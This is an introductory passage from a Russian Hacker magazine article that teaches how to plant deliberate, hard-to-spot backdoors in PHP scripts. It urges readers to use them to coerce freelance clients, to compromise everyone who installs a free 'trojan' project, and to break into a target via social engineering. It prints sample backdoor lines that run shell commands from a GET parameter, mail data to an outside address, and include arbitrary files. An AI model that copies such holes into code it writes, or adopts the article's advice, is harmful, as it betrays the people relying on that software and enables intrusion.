"Неслучайные" баги

eto’o

Хакер, номер #087, стр. 087-152-1

Делаем ошибки в php-скриптах нарочно

Мы в Хакере очень много пишем о том, как искать ошибки в коде, учим тебя всячески защищать свои программы, чтобы ни один хакерюга и на километр не подошел бы. Может, для тебя это покажется странным, но иногда возникает необходимость специально придумать хитроумный баг в своей программе, найти который будет сложно, а пользоваться им — удобно. Сегодня я научу тебя делать такие ошибки.

[это еще зачем?]

Действительно, для чего это может понадобиться — сознательно делать в собственном коде ошибку? Наивный! Причин для этого целая куча.

* Контроль за заказчиком. Представь, что ты работаешь фриланс-кодером и к тебе обратился неизвестный человек, заказав сложную систему. Ты ее написал, но опасаешься, что он тебя кинет прямо или косвенно. В этом случае бесценная вещь — иметь механизм воздействия на заказчика после сдачи работы или каким-то способом контролировать и оценивать жизнедеятельность твоего проекта. Если ты сделаешь грамотный бэкдор, то заказчик будет у тебя на крючке вечно: чуть что — и ты устроишь ему сладую жизнь!

* Троянский проект. Прекрасная идея — написать какую-то крутую систему и распространять ее бесплатно. Если проект действительно хорош, то люди поустанавливают твои скрипты, а ты при помощи собственного бага сможешь всех и крепко поиметь.

* Взлом конкретного проекта. Представь, что тебе надо получить доступ к какому-то проекту. В этом случае можно написать какой-то удобный небольшой скрипт, с маленьким и изящным багом внутри, заметить который будет непросто. После этого ты можешь при помощи социальной инженерии заставить администратора проекта поставить этот скрипт себе на сервер — ну, скажем, заинтересовав его интересными возможностями твоего скрипта, просто уговорив протестить новое приложение, или предложив «непробиваемую версию phpBB, которую тестировали лучшие хакеры России и выжгли там все баги».

Причин, по которым web-программисту всегда полезно уметь вшить пару багов в свой проект, много. Сейчас настало время и тебе научиться это делать красиво и изящно.

[красиво и безопасно]

Казалось бы, чего тут проще — сделать баг, оставить жука? Как ты, наверное, подумал, все решается одной из этих сторок:

system($_GET[“xa_cmd”]);

#или:

system(“echo $_GET[‘xa_msg’] | mail xakep@xakep.ru”);

#или:

include($_GET[filename]);

Однако подумай, что будет, если просто добавить эту строчку в твой скрипт из 20 строк. Любой дошкольник уже секунд через 10 после того, как откроет сорец, скажет тебе, что ставить этот скрипт себе он не будет, а лучше пойдет поищет в гугле проекты, где установлен твой скрипт. Так что примеры выше — это из разряда «как делать не надо».

И еще один момент. Очень важно, когда твой баг найдут, чтобы он не смотрелся как специально сделанный бэкдор, а был похож на ошибку. Ну или, по крайней мере, был запрятан так, чтобы найти его было проблематичным делом.

Впрочем, довольно уже вводной части, перейдем к непосредственным решениям. Сейчас я научу тебя, во-первых, вставлять хитроумные бэкдоры в твои скрипты, а во-вторых, допускать наивные ошибки. Как ты скоро поймешь, чтобы делать ошибки, надо чуть-чуть соображать :).